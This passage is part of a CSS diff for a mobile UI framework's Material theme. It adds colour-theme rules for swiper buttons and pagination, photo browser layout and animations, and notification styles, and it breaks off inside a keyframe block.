.swiper-container-rtl .swiper-button-prev.color-green, +.md .color-theme-green .swiper-button-next, +.md .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234caf50'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-green .swiper-pagination-bullet-active, +.md .color-theme-green .swiper-pagination-bullet-active { + background: #4caf50; +} +.md .color-green .swiper-pagination-progressbar, +.md .color-theme-green .swiper-pagination-progressbar, +.md .color-green.swiper-pagination-progressbar, +.md .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 175, 80, 0.25); +} +.md .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4caf50; +} +.md .swiper-button-prev.color-blue, +.md .swiper-container-rtl .swiper-button-next.color-blue, +.md .color-theme-blue .swiper-button-prev, +.md .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-blue, +.md .swiper-container-rtl .swiper-button-prev.color-blue, +.md .color-theme-blue .swiper-button-next, +.md .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%232196f3'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-blue .swiper-pagination-bullet-active, +.md .color-theme-blue .swiper-pagination-bullet-active { + background: #2196f3; +} +.md .color-blue .swiper-pagination-progressbar, +.md .color-theme-blue .swiper-pagination-progressbar, +.md .color-blue.swiper-pagination-progressbar, +.md .color-theme-blue.swiper-pagination-progressbar { + background: rgba(33, 150, 243, 0.25); +} +.md .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #2196f3; +} +.md .swiper-button-prev.color-pink, +.md .swiper-container-rtl .swiper-button-next.color-pink, +.md .color-theme-pink .swiper-button-prev, +.md .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-pink, +.md .swiper-container-rtl .swiper-button-prev.color-pink, +.md .color-theme-pink .swiper-button-next, +.md .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-pink .swiper-pagination-bullet-active, +.md .color-theme-pink .swiper-pagination-bullet-active { + background: #e91e63; +} +.md .color-pink .swiper-pagination-progressbar, +.md .color-theme-pink .swiper-pagination-progressbar, +.md .color-pink.swiper-pagination-progressbar, +.md .color-theme-pink.swiper-pagination-progressbar { + background: rgba(233, 30, 99, 0.25); +} +.md .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #e91e63; +} +.md .swiper-button-prev.color-yellow, +.md .swiper-container-rtl .swiper-button-next.color-yellow, +.md .color-theme-yellow .swiper-button-prev, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-yellow, +.md .swiper-container-rtl .swiper-button-prev.color-yellow, +.md .color-theme-yellow .swiper-button-next, +.md .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-yellow .swiper-pagination-bullet-active, +.md .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffeb3b; +} +.md .color-yellow .swiper-pagination-progressbar, +.md .color-theme-yellow .swiper-pagination-progressbar, +.md .color-yellow.swiper-pagination-progressbar, +.md .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 235, 59, 0.25); +} +.md .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffeb3b; +} +.md .swiper-button-prev.color-orange, +.md .swiper-container-rtl .swiper-button-next.color-orange, +.md .color-theme-orange .swiper-button-prev, +.md .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-orange, +.md .swiper-container-rtl .swiper-button-prev.color-orange, +.md .color-theme-orange .swiper-button-next, +.md .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-orange .swiper-pagination-bullet-active, +.md .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9800; +} +.md .color-orange .swiper-pagination-progressbar, +.md .color-theme-orange .swiper-pagination-progressbar, +.md .color-orange.swiper-pagination-progressbar, +.md .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 152, 0, 0.25); +} +.md .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9800; +} +.md .swiper-button-prev.color-gray, +.md .swiper-container-rtl .swiper-button-next.color-gray, +.md .color-theme-gray .swiper-button-prev, +.md .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-gray, +.md .swiper-container-rtl .swiper-button-prev.color-gray, +.md .color-theme-gray .swiper-button-next, +.md .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-gray .swiper-pagination-bullet-active, +.md .color-theme-gray .swiper-pagination-bullet-active { + background: #9e9e9e; +} +.md .color-gray .swiper-pagination-progressbar, +.md .color-theme-gray .swiper-pagination-progressbar, +.md .color-gray.swiper-pagination-progressbar, +.md .color-theme-gray.swiper-pagination-progressbar { + background: rgba(158, 158, 158, 0.25); +} +.md .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #9e9e9e; +} +.md .swiper-button-prev.color-white, +.md .swiper-container-rtl .swiper-button-next.color-white, +.md .color-theme-white .swiper-button-prev, +.md .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-white, +.md .swiper-container-rtl .swiper-button-prev.color-white, +.md .color-theme-white .swiper-button-next, +.md .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-white .swiper-pagination-bullet-active, +.md .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.md .color-white .swiper-pagination-progressbar, +.md .color-theme-white .swiper-pagination-progressbar, +.md .color-white.swiper-pagination-progressbar, +.md .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.md .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.md .swiper-button-prev.color-black, +.md .swiper-container-rtl .swiper-button-next.color-black, +.md .color-theme-black .swiper-button-prev, +.md .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .swiper-button-next.color-black, +.md .swiper-container-rtl .swiper-button-prev.color-black, +.md .color-theme-black .swiper-button-next, +.md .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.md .color-black .swiper-pagination-bullet-active, +.md .color-theme-black .swiper-pagination-bullet-active { + background: #000000; +} +.md .color-black .swiper-pagination-progressbar, +.md .color-theme-black .swiper-pagination-progressbar, +.md .color-black.swiper-pagination-progressbar, +.md .color-theme-black.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); +} +.md .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.md .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #000000; +} +/* === Photo Browser === */ +.photo-browser { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 400; +} +.photo-browser-standalone.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-in 400ms; + animation: photo-browser-in 400ms; +} +.photo-browser-standalone.modal-out { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: photo-browser-out 400ms; + animation: photo-browser-out 400ms; +} +.photo-browser-standalone.modal-out.swipe-close-to-bottom, +.photo-browser-standalone.modal-out.swipe-close-to-top { + -webkit-animation: none; + animation: none; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom, +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.photo-browser-popup.modal-out.swipe-close-to-bottom { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); +} +.photo-browser-popup.modal-out.swipe-close-to-top { + -webkit-transform: translate3d(0, -100vh, 0); + transform: translate3d(0, -100vh, 0); +} +.page.photo-browser-page { + background: none; +} +.photo-browser-popup { + background: none; +} +.photo-browser-exposed .navbar, +.photo-browser-exposed .toolbar { + opacity: 0; + visibility: hidden; + pointer-events: none; +} +.photo-browser-exposed .photo-browser-swiper-container { + background: #000; +} +.photo-browser-of { + margin: 0 5px; +} +.photo-browser-captions { + pointer-events: none; + position: absolute; + left: 0; + width: 100%; + bottom: 0; + z-index: 10; + opacity: 1; + -webkit-transition: 400ms; + transition: 400ms; +} +.photo-browser-captions.photo-browser-captions-exposed { + opacity: 0; +} +.photo-browser-caption { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition: 300ms; + transition: 300ms; + position: absolute; + bottom: 0; + left: 0; + opacity: 0; + padding: 4px 5px; + width: 100%; + text-align: center; + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-caption:empty { + display: none; +} +.photo-browser-caption.photo-browser-caption-active { + opacity: 1; +} +.photo-browser-captions-light .photo-browser-caption { + background: rgba(255, 255, 255, 0.8); + color: #000; +} +.photo-browser-captions-dark .photo-browser-caption { + color: #fff; +} +.photo-browser-exposed .photo-browser-caption { + color: #fff; + background: rgba(0, 0, 0, 0.8); +} +.photo-browser-swiper-container { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + overflow: hidden; + background: #fff; + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: background-color; + transition-property: background-color; +} +.photo-browser-prev.swiper-button-disabled, +.photo-browser-next.swiper-button-disabled { + opacity: 0.3; +} +.photo-browser-slide { + width: 100%; + height: 100%; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.photo-browser-slide.photo-browser-transitioning { + -webkit-transition: 400ms; + transition: 400ms; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.photo-browser-slide span.swiper-zoom-container { + display: none; +} +.photo-browser-slide img { + width: auto; + height: auto; + max-width: 100%; + max-height: 100%; + display: none; +} +.photo-browser-slide.swiper-slide-active span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-next span.swiper-zoom-container, +.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.photo-browser-slide.swiper-slide-active img, +.photo-browser-slide.swiper-slide-next img, +.photo-browser-slide.swiper-slide-prev img { + display: inline; +} +.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader, +.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader { + display: block; +} +.photo-browser-slide iframe { + width: 100%; + height: 100%; +} +.photo-browser-slide .preloader { + display: none; + position: absolute; + width: 42px; + height: 42px; + margin-left: -21px; + margin-top: -21px; + left: 50%; + top: 50%; +} +.photo-browser-dark .photo-browser-swiper-container, +.photo-browser-page-dark .photo-browser-swiper-container { + background: #000; +} +@-webkit-keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@keyframes photo-browser-in { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } +} +@-webkit-keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +@keyframes photo-browser-out { + 0% { + -webkit-transform: translate3d(0, 0, 0) scale(1); + transform: translate3d(0, 0, 0) scale(1); + opacity: 1; + } + 50% { + -webkit-transform: translate3d(0, 0, 0) scale(1.05); + transform: translate3d(0, 0, 0) scale(1.05); + opacity: 1; + } + 100% { + -webkit-transform: translate3d(0, 0, 0) scale(0.5); + transform: translate3d(0, 0, 0) scale(0.5); + opacity: 0; + } +} +.md .toolbar ~ .photo-browser-captions { + bottom: 48px; + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .toolbar ~ .photo-browser-captions.photo-browser-captions-exposed { + -webkit-transform: translate3d(0, 0px, 0); + transform: translate3d(0, 0px, 0); +} +.md .photo-browser-exposed .toolbar ~ .photo-browser-captions { + -webkit-transform: translate3d(0, 48px, 0); + transform: translate3d(0, 48px, 0); +} +.md .photo-browser-page .toolbar { + -webkit-transform: none; + transform: none; +} +.md .photo-browser-page .navbar, +.md .photo-browser-page .toolbar { + background: rgba(33, 150, 243, 0.95); + -webkit-transition: 400ms; + transition: 400ms; +} +.md .photo-browser-dark .navbar, +.md .photo-browser-page-dark .navbar, +.md .photo-browser-dark .toolbar, +.md .photo-browser-page-dark .toolbar { + background: rgba(30, 30, 30, 0.8) !important; + color: #fff; +} +.md .photo-browser-dark .navbar a, +.md .photo-browser-page-dark .navbar a, +.md .photo-browser-dark .toolbar a, +.md .photo-browser-page-dark .toolbar a { + color: #fff; +} +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-red .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(244, 67, 54, 0.95); +} +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-green .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(76, 175, 80, 0.95); +} +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-blue .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(33, 150, 243, 0.95); +} +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-pink .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(233, 30, 99, 0.95); +} +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-yellow .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 235, 59, 0.95); +} +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-orange .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 152, 0, 0.95); +} +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-gray .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(158, 158, 158, 0.95); +} +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-white .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(255, 255, 255, 0.95); +} +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .navbar, +.md .color-theme-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar, +.md .color-black .photo-browser-page:not(.photo-browser-page-dark) .toolbar { + background-color: rgba(0, 0, 0, 0.95); +} +.md.device-iphone-x .photo-browser-captions { + bottom: constant(safe-area-inset-bottom); + bottom: env(safe-area-inset-bottom); +} +.md.device-iphone-x .toolbar ~ .photo-browser-captions { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +/* === Notifications === */ +.notification { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 20000; + font-size: 14px; + margin: 0; + border: none; + display: none; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + direction: ltr; +} +.notification-icon { + font-size: 0; +} +.notification-header { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.notification-close-button { + margin-left: auto; + cursor: pointer; +} +html.with-statusbar.device-ios .notification, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification { + margin-top: 20px; +} +html.with-statusbar.device-android .notification, +html.with-statusbar.md:not(.device-ios):not(.device-android) .notification { + margin-top: 24px; +} +html.with-statusbar.device-iphone-x .notification { + margin-top: constant(safe-area-inset-top); + margin-top: env(safe-area-inset-top); +} +.md .notification { + left: 0; + top: 0; + width: 100%; + background: #fff; + border-radius: 0px; + -webkit-box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 2px 4px rgba(0, 0, 0, 0.22), 0 1px 2px rgba(0, 0, 0, 0.24); + padding: 16px; + color: #000; + max-width: 568px; +} +@media (min-width: 568px) { + .md .notification { + left: 50%; + margin-left: -284px; + } +} +.md .notification.modal-in { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + -webkit-animation: notification-md-in 400ms ease-out; + animation: notification-md-in 400ms ease-out; +} +.md .notification.modal-in.notification-transitioning { + -webkit-transition-duration: 200ms; + transition-duration: 200ms; +} +.md .notification.modal-out { + -webkit-animation: none; + animation: none; + -webkit-transition-duration: 200ms; + transition-duration: 200ms; + -webkit-transition-timing-function: ease-in; + transition-timing-function: ease-in; + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); +} +.md .notification-icon { + width: 16px; + height: 16px; + margin-right: 8px; + line-height: 16px; +} +.md .notification-icon i { + width: 16px; + height: 16px; + font-size: 16px; +} +.md .notification-title { + font-size: 12px; + line-height: 1; + color: #2196f3; +} +.md .notification-subtitle { + font-size: 14px; + line-height: 1.35; + color: #212121; +} +.md .notification-subtitle + .notification-text { + margin-top: 2px; +} +.md .notification-text { + font-size: 14px; + line-height: 1.35; + color: #757575; +} +.md .notification-header + .notification-content { + margin-top: 6px; +} +.md .notification-title-right-text { + font-size: 12px; + color: #757575; + margin-left: 4px; +} +.md .notification-title-right-text:before { + content: ''; + width: 3px; + height: 3px; + border-radius: 50%; + display: inline-block; + vertical-align: middle; + margin-right: 4px; + background: #757575; +} +.md .notification-close-button { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + width: 16px; + height: 16px; + background-position: center top; + background-repeat: no-repeat; + background-size: 100% auto; + position: relative; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .notification-close-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .notification-close-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .notification-close-button:before { + width: 48px; + height: 48px; + left: 50%; + top: 50%; + margin-left: -24px; + margin-top: -24px; +} +.md .notification-close-button:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + width: 48px; + height: 48px; + margin-left: -22px; + margin-top: -22px; +} +@-webkit-keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: 